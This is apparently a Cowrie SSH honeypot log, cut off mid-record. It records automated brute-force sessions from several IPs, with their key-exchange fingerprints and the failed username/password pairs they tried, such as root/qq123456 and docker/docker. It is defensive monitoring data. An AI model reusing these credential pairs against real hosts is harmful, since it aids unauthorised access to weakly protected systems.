{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:19.171571Z","src_ip":"95.3.77.254","session":"5ead73f8fd18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2020#","message":"login attempt [root/unitedstates2020#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:19.582696Z","src_ip":"95.3.77.254","session":"5ead73f8fd18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:19.865103Z","src_ip":"5.196.136.131","session":"fdcc998dee7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.180.166","src_port":36390,"dst_ip":"10.17.0.5","dst_port":22,"session":"6223c96b0519","protocol":"ssh","message":"New connection: 192.169.180.166:36390 (10.17.0.5:22) [session: 6223c96b0519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:20.082612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:20.085986Z","src_ip":"192.169.180.166","session":"6223c96b0519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:20.151086Z","src_ip":"192.169.180.166","session":"6223c96b0519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stake2024","message":"login attempt [root/stake2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:20.348510Z","src_ip":"192.169.180.166","session":"6223c96b0519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:20.721133Z","src_ip":"95.3.77.254","session":"5ead73f8fd18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:21.416450Z","src_ip":"192.169.180.166","session":"6223c96b0519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":13923,"dst_ip":"10.17.0.5","dst_port":22,"session":"64d37a165420","protocol":"ssh","message":"New connection: 5.196.136.131:13923 (10.17.0.5:22) [session: 64d37a165420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:22.926778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:22.930359Z","src_ip":"5.196.136.131","session":"64d37a165420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:23.018655Z","src_ip":"5.196.136.131","session":"64d37a165420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:23.274873Z","src_ip":"5.196.136.131","session":"64d37a165420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:24.361588Z","src_ip":"5.196.136.131","session":"64d37a165420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":10953,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5c65bdaf2d1","protocol":"ssh","message":"New connection: 5.196.136.131:10953 (10.17.0.5:22) [session: d5c65bdaf2d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:27.278723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:27.282559Z","src_ip":"5.196.136.131","session":"d5c65bdaf2d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:27.391542Z","src_ip":"5.196.136.131","session":"d5c65bdaf2d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:27.625613Z","src_ip":"5.196.136.131","session":"d5c65bdaf2d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:28.705178Z","src_ip":"5.196.136.131","session":"d5c65bdaf2d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":34881,"dst_ip":"10.17.0.5","dst_port":22,"session":"34432a889d40","protocol":"ssh","message":"New connection: 5.196.136.131:34881 (10.17.0.5:22) [session: 34432a889d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:31.616648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:31.620815Z","src_ip":"5.196.136.131","session":"34432a889d40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:31.717039Z","src_ip":"5.196.136.131","session":"34432a889d40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:31.952376Z","src_ip":"5.196.136.131","session":"34432a889d40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:33.033081Z","src_ip":"5.196.136.131","session":"34432a889d40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":24137,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b47bebb6f23","protocol":"ssh","message":"New connection: 5.196.136.131:24137 (10.17.0.5:22) [session: 3b47bebb6f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:36.078066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:36.081392Z","src_ip":"5.196.136.131","session":"3b47bebb6f23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:36.157070Z","src_ip":"5.196.136.131","session":"3b47bebb6f23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:36.386122Z","src_ip":"5.196.136.131","session":"3b47bebb6f23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:37.464524Z","src_ip":"5.196.136.131","session":"3b47bebb6f23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":49161,"dst_ip":"10.17.0.5","dst_port":22,"session":"1249ac294766","protocol":"ssh","message":"New connection: 5.196.136.131:49161 (10.17.0.5:22) [session: 1249ac294766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:40.463671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:40.467030Z","src_ip":"5.196.136.131","session":"1249ac294766","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:40.545836Z","src_ip":"5.196.136.131","session":"1249ac294766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:40.808263Z","src_ip":"5.196.136.131","session":"1249ac294766","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:41.887140Z","src_ip":"5.196.136.131","session":"1249ac294766","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":50341,"dst_ip":"10.17.0.5","dst_port":22,"session":"38e28c346219","protocol":"ssh","message":"New connection: 5.196.136.131:50341 (10.17.0.5:22) [session: 38e28c346219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:44.883530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:44.887128Z","src_ip":"5.196.136.131","session":"38e28c346219","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:44.964506Z","src_ip":"5.196.136.131","session":"38e28c346219","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:45.196460Z","src_ip":"5.196.136.131","session":"38e28c346219","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:46.275558Z","src_ip":"5.196.136.131","session":"38e28c346219","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.100.212.141","src_port":50210,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f34bd1c464f","protocol":"ssh","message":"New connection: 185.100.212.141:50210 (10.17.0.5:22) [session: 1f34bd1c464f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:49.106916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:49.113714Z","src_ip":"185.100.212.141","session":"1f34bd1c464f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.c